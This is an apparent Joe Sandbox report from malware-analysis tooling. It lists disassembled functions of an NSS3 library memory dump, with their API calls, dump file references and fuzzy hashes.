Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

PR_Free.NSS3(?), ref: 6C530A6C
PR_Free.NSS3(?), ref: 6C530A87

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 402f139cb445735d1ed3fe865db238e1eecc8b931bf6a0c57d13698524f88bcf
Instruction ID: f10b4c571cae6f1c57c19c9799f86ea9981c5b7f254280b689b85b5587e7a425
Opcode Fuzzy Hash: 402f139cb445735d1ed3fe865db238e1eecc8b931bf6a0c57d13698524f88bcf
Instruction Fuzzy Hash: C71102B1900B919BE7109F66ED8465777E8FB81348F50692BD81E82E00F731F454C794

Function 6C558FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C560710), ref: 6C558FF1
PR_CallOnce.NSS3(6C6A2158,6C559150,00000000,?,?,?,6C559138,?,6C560710), ref: 6C559029
calloc.MOZGLUE(00000001,00000000,?,?,6C560710), ref: 6C55904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C560710), ref: 6C559066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C560710), ref: 6C559078

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: a9da734ba1355f1d02f5f0d7fc878ad29f06b57157f40e764f1e2539a22b01b1
Instruction ID: 87b1b2f5ba696c16dc4f5980e0ae0f225c8d299c960db44e04872d774d106393
Opcode Fuzzy Hash: a9da734ba1355f1d02f5f0d7fc878ad29f06b57157f40e764f1e2539a22b01b1
Instruction Fuzzy Hash: F41148B170011157E7105AEAAC44A6A33ACDB827ACF900832FD49C2B60F35BCC6683E9

Function 6C5D04C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C5D461B,-00000004), ref: 6C5D04DF
TlsGetValue.KERNEL32(?,00000000,?,6C5D461B,-00000004), ref: 6C5D0510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C5D0520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C5D461B,-00000004), ref: 6C5D0534
GetLastError.KERNEL32(?,6C5D461B,-00000004), ref: 6C5D0543

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 0c08ac85316473e1b2dfb00231f0429e542d8a444946fdc70cb86d90915b7bfa
Instruction ID: cf1331311ec14ae94d110692fa39c1ec992177f68c597da57d8ca740c9b66490
Opcode Fuzzy Hash: 0c08ac85316473e1b2dfb00231f0429e542d8a444946fdc70cb86d90915b7bfa
Instruction Fuzzy Hash: 6A117D71E15341EBDB00AF3D9C08B653B64EF81319F620626EC25C3992EB30F444C799

Function 6C5D4AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6C5D4AD1), ref: 6C5D4B62
free.MOZGLUE(?,00015180,00000005,?,6C5D4AD1), ref: 6C5D4B76

Part of subcall function 6C5D03C0: CloseHandle.KERNEL32(?,?,?,?,6C5D4B27,?,?,00015180,00000005,?,6C5D4AD1), ref: 6C5D03E0
Part of subcall function 6C5D03C0: GetLastError.KERNEL32(?,6C5D4B27,?,?,00015180,00000005,?,6C5D4AD1), ref: 6C5D03FD

Part of subcall function 6C5D03C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6C5D4B27,?,?,00015180,00000005,?,6C5D4AD1), ref: 6C5D0419
Part of subcall function 6C5D03C0: free.MOZGLUE(?,?,6C5D4B27,?,?,00015180,00000005,?,6C5D4AD1), ref: 6C5D0420

CloseHandle.KERNEL32(?,00015180,00000005,?,6C5D4AD1), ref: 6C5D4B96
free.MOZGLUE(?,?,6C5D4AD1), ref: 6C5D4B9D
memset.VCRUNTIME140(6C6A2F9C,00000000,00000090,00015180,00000005,?,6C5D4AD1), ref: 6C5D4BB2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: f0dcf84818dd810053c0b9c6b44dc13922e77d8ed01f162523669e0c68e3764c
Instruction ID: 3eba28967282b486c1b5746b8fb721cc7f59f0329a066f3c3cb463e720140acf
Opcode Fuzzy Hash: f0dcf84818dd810053c0b9c6b44dc13922e77d8ed01f162523669e0c68e3764c
Instruction Fuzzy Hash: 9411D372A41710EBEF209F9BEC85B4E7734A75631CF060024E50957A10D321F454C7EE

Function 6C542750 Relevance: 7.6, APIs: 5, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,00000000,00000000,?,?,6C5ACBA2,00000000,00000000), ref: 6C542765
SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C5ACBEA,00000000,00000000), ref: 6C542783
CERT_CopyName.NSS3(00000000,0000000C,6C5ACC4A,?,?,?,00000000,00000000), ref: 6C54279F
SECITEM_CopyItem_Util.NSS3(00000000,00000014,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5427BA
PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000), ref: 6C5427D2

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CopyUtil$Item_$Alloc_ArenaErrorNameValue
String ID:
API String ID: 325484714-0
Opcode ID: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction ID: f677d815e87980a758d9066b556b3b7bf4d0ae788ce8b38ec860c2fe27742ade
Opcode Fuzzy Hash: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction Fuzzy Hash: DB11E1B6A00315ABE2009A229C84FA7735D9FD425CF048229FD09C7A02FB71E94982B0

Function 6C56CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C581E10: TlsGetValue.KERNEL32 ref: 6C581E36
Part of subcall function 6C581E10: EnterCriticalSection.KERNEL32(?,?,?,6C55B1EE,2404110F,?,?), ref: 6C581E4B
Part of subcall function 6C581E10: PR_Unlock.NSS3 ref: 6C581E76

free.MOZGLUE(?,6C56D079,00000000,00000001), ref: 6C56CDA5
PK11_FreeSymKey.NSS3(?,6C56D079,00000000,00000001), ref: 6C56CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C56D079,00000000,00000001), ref: 6C56CDCF
DeleteCriticalSection.KERNEL32(?,6C56D079,00000000,00000001), ref: 6C56CDE2
free.MOZGLUE(?), ref: 6C56CDE9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 1b95291f453085d18d7cef1d9df04f7b5005ca45a5432dc68e9ba1dda3f459f4
Instruction ID: 4b9e3d33bcf2244b55544bd843b5a961717df03b7412e288c68232ca71f674f8
Opcode Fuzzy Hash: 1b95291f453085d18d7cef1d9df04f7b5005ca45a5432dc68e9ba1dda3f459f4
Instruction Fuzzy Hash: 8211ACB2B01112BBEF00AFA6EC84996B73CFB44269B140121E91987E11E732F824C7E5

Function 6C5D2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C5D5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5D2CEC

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_EnterMonitor.NSS3(?), ref: 6C5D2D02
PR_EnterMonitor.NSS3(?), ref: 6C5D2D1F
PR_ExitMonitor.NSS3(?), ref: 6C5D2D42
PR_ExitMonitor.NSS3(?), ref: 6C5D2D5B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 99c6cc2100a953105dd9d7217eb8e4b2b25f8340cd5bb16d291170b69f174986
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: A801CCB1A003045BE6309E29FC40BC777A1EF45318F014525E55A96710E632FC16879A

Function 6C5D2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C5D5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5D2D9C

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_EnterMonitor.NSS3(?), ref: 6C5D2DB2
PR_EnterMonitor.NSS3(?), ref: 6C5D2DCF
PR_ExitMonitor.NSS3(?), ref: 6C5D2DF2
PR_ExitMonitor.NSS3(?), ref: 6C5D2E0B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 11c21ec9bad690b6f6fb1ea114fa23346ba29627098c99105ba0c3a1a075391d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 6D01C8B1A007009BE7309E2AFC01BC7B7A2EF41318F010435E95A96B11E632FC15869A

Function 6C56AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C553090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C56AE42), ref: 6C5530AA
Part of subcall function 6C553090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5530C7
Part of subcall function 6C553090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5530E5
Part of subcall function 6C553090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C553116
Part of subcall function 6C553090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C55312B
Part of subcall function 6C553090: PK11_DestroyObject.NSS3(?,?), ref: 6C553154
Part of subcall function 6C553090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C5499FF,?,?,?,?,?,?,?,?,?,6C542D6B,?), ref: 6C56AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C5499FF,?,?,?,?,?,?,?,?,?,6C542D6B,?), ref: 6C56AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C542D6B,?,?,00000000), ref: 6C56AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C542D6B,?,?,00000000), ref: 6C56AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C542D6B,?,?), ref: 6C56AEA3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 08222a4bd8c8aad740a784904706b1f65a71692642e0793d3f69f03c54e4f5b0
Instruction ID: 0bfda44925b36e90e31f7dd22abe1613e13729307dbcc1823e08161ff0e4a75a
Opcode Fuzzy Hash: 08222a4bd8c8aad740a784904706b1f65a71692642e0793d3f69f03c54e4f5b0
Instruction Fuzzy Hash: BA0181B6B0417097E701916EAC85AAF31988BC765DF080432F90AD7F21FB15DD1943E3

Function 6C650930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C650C83), ref: 6C65094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C650C83), ref: 6C650974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650983
_PR_MD_UNLOCK.NSS3(?,?,6C650C83), ref: 6C65099F
OutputDebugStringA.KERNEL32(?,?,6C650C83), ref: 6C6509B2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 1d05f398d6a71e900c3a435c7aa05b5bf9aa475fdf6679c50f56e45731802732
Instruction ID: ef25508d90d149f258d58e58c0fff40053aca54345703def5d4a056765338e19
Opcode Fuzzy Hash: 1d05f398d6a71e900c3a435c7aa05b5bf9aa475fdf6679c50f56e45731802732
Instruction Fuzzy Hash: CE0187B8701240DFDF00AFAAE8C8B597BB8AB0330CF2C2204E846C3266C635F451CA1D

Function 6C652A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C652A5B
free.MOZGLUE(?), ref: 6C652A6D
strdup.MOZGLUE(?), ref: 6C652A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C652A96
PR_ExitMonitor.NSS3 ref: 6C652AB5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: d394aff4f7c28f9b81ba8eba9fcf68a7327a4e03fb740f44224a4fc7991dc3f4
Instruction ID: c07b54579f8d274fb2d634b7455ca11995cf018b115af6856156480c17817635
Opcode Fuzzy Hash: d394aff4f7c28f9b81ba8eba9fcf68a7327a4e03fb740f44224a4fc7991dc3f4
Instruction Fuzzy Hash: B9F0A4B9F4012497DF20AFA6AC4974A7734AB0279CF590130D809D6A11E732E928C6DE

Function 6C65ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C65A6D8), ref: 6C65AE0D
free.MOZGLUE(?), ref: 6C65AE14
DeleteCriticalSection.KERNEL32(6C65A6D8), ref: 6C65AE36
free.MOZGLUE(?), ref: 6C65AE3D
free.MOZGLUE(00000000,00000000,?,?,6C65A6D8), ref: 6C65AE47

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b757ade02a943cc321b1652f02ebcae9f6d0ad743ecc19c4bc8730746b11d42b
Instruction ID: bb8414a55b13d5c4592cee669c821debf0a908b6a6472eda7c783489dfac07e9
Opcode Fuzzy Hash: b757ade02a943cc321b1652f02ebcae9f6d0ad743ecc19c4bc8730746b11d42b
Instruction Fuzzy Hash: 37F0F675201A03B7CB009F69D848917B778BF86774B600328E12B83941D732E022D7DD

Function 6C612B20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00020C24,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C612B64

Strings

%s at line %d of [%.10s], xrefs: 6C612B5D
misuse, xrefs: 6C612B58
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C612B4E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: af776548d706d8ede7a79a78372e14406efa6b27e00bb496e4a10d2f00f470fb
Instruction ID: d27fdfcdf4560d9dadfbd6a41c5ae129eb343ea2538aad544656db2d52e93c05
Opcode Fuzzy Hash: af776548d706d8ede7a79a78372e14406efa6b27e00bb496e4a10d2f00f470fb
Instruction Fuzzy Hash: 1E510270B082064BDB44CF6DD8897EEB7A2AF4A309F184229C919DBF81E731D945C799

Function 6C4D88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C4D8990

Strings

@zNl, xrefs: 6C4D8A31

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

